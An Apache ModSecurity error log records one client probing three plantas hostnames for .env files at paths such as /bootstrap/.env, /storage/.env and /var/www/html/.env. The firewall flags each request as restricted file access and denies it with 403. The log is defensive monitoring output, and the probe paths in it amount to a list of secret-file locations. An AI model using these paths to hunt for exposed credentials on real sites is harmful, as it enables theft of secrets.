[Sun Oct 25 02:19:03.069204 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuEAAAAAs"]
[Sun Oct 25 02:19:03.211191 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhXwAAAAI"]
[Sun Oct 25 02:19:03.211419 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhXwAAAAI"]
[Sun Oct 25 02:19:03.211725 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhXwAAAAI"]
[Sun Oct 25 02:19:03.329554 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at2fV3qPPT_6tJCMTRvuEQAAAAs"]
[Sun Oct 25 02:19:03.329781 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at2fV3qPPT_6tJCMTRvuEQAAAAs"]
[Sun Oct 25 02:19:03.330046 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at2fV3qPPT_6tJCMTRvuEQAAAAs"]
[Sun Oct 25 02:19:03.448519 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhYAAAAAI"]
[Sun Oct 25 02:19:03.448773 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhYAAAAAI"]
[Sun Oct 25 02:19:03.449051 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhYAAAAAI"]
[Sun Oct 25 02:19:03.574602 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fV3qPPT_6tJCMTRvuEgAAAAs"]
[Sun Oct 25 02:19:03.578023 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fV3qPPT_6tJCMTRvuEgAAAAs"]
[Sun Oct 25 02:19:03.578502 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fV3qPPT_6tJCMTRvuEgAAAAs"]
[Sun Oct 25 02:19:03.968871 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fV1yqe9jgJ5nfJHB7ZwAAAAo"]
[Sun Oct 25 02:19:03.969114 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fV1yqe9jgJ5nfJHB7ZwAAAAo"]
[Sun Oct 25 02:19:03.969550 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fV1yqe9jgJ5nfJHB7ZwAAAAo"]
[Sun Oct 25 02:19:04.236279 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhYQAAAAI"]
[Sun Oct 25 02:19:04.236565 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhYQAAAAI"]
[Sun Oct 25 02:19:04.236940 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fV1TnwNJm6o1fQZIhYQAAAAI"]
[Sun Oct 25 02:19:07.222836 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fW1TnwNJm6o1fQZIhYgAAAAI"]
[Sun Oct 25 02:19:07.223070 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fW1TnwNJm6o1fQZIhYgAAAAI"]
[Sun Oct 25 02:19:07.223325 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fW1TnwNJm6o1fQZIhYgAAAAI"]
[Sun Oct 25 02:19:08.396942 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.156.124.2:2688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:19:08.598655 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fXHqPPT_6tJCMTRvuEwAAAAs"]
[Sun Oct 25 02:19:08.598875 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fXHqPPT_6tJCMTRvuEwAAAAs"]
[Sun Oct 25 02:19:08.599256 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fXHqPPT_6tJCMTRvuEwAAAAs"]
[Sun Oct 25 02:19:08.914877 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at2fW1TnwNJm6o1fQZIhYwAAAAI"]
[Sun Oct 25 02:19:11.754803 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at2fW1TnwNJm6o1fQZIhYwAAAAI"]
[Sun Oct 25 02:19:11.755406 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at2fW1TnwNJm6o1fQZIhYwAAAAI"]
[Sun Oct 25 02:19:10.603053 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fXjaSD7UWGB8jzmt36AAAAAk"]
[Sun Oct 25 02:19:11.980273 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fXjaSD7UWGB8jzmt36AAAAAk"]
[Sun Oct 25 02:19:11.201268 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fX3qPPT_6tJCMTRvuFAAAAAs"]
[Sun Oct 25 02:19:12.384760 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fX3qPPT_6tJCMTRvuFAAAAAs"]
[Sun Oct 25 02:19:12.385320 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fX3qPPT_6tJCMTRvuFAAAAAs"]
[Sun Oct 25 02:19:11.282940 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fWlyqe9jgJ5nfJHB7aAAAAAo"]
[Sun Oct 25 02:19:12.385924 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fWlyqe9jgJ5nfJHB7aAAAAAo"]
[Sun Oct 25 02:19:12.386257 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fWlyqe9jgJ5nfJHB7aAAAAAo"]
[Sun Oct 25 02:19:12.186110 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fXjaSD7UWGB8jzmt36AAAAAk"]
[Sun Oct 25 02:19:12.387913 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36QAAAAk"]
[Sun Oct 25 02:19:12.388053 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36QAAAAk"]
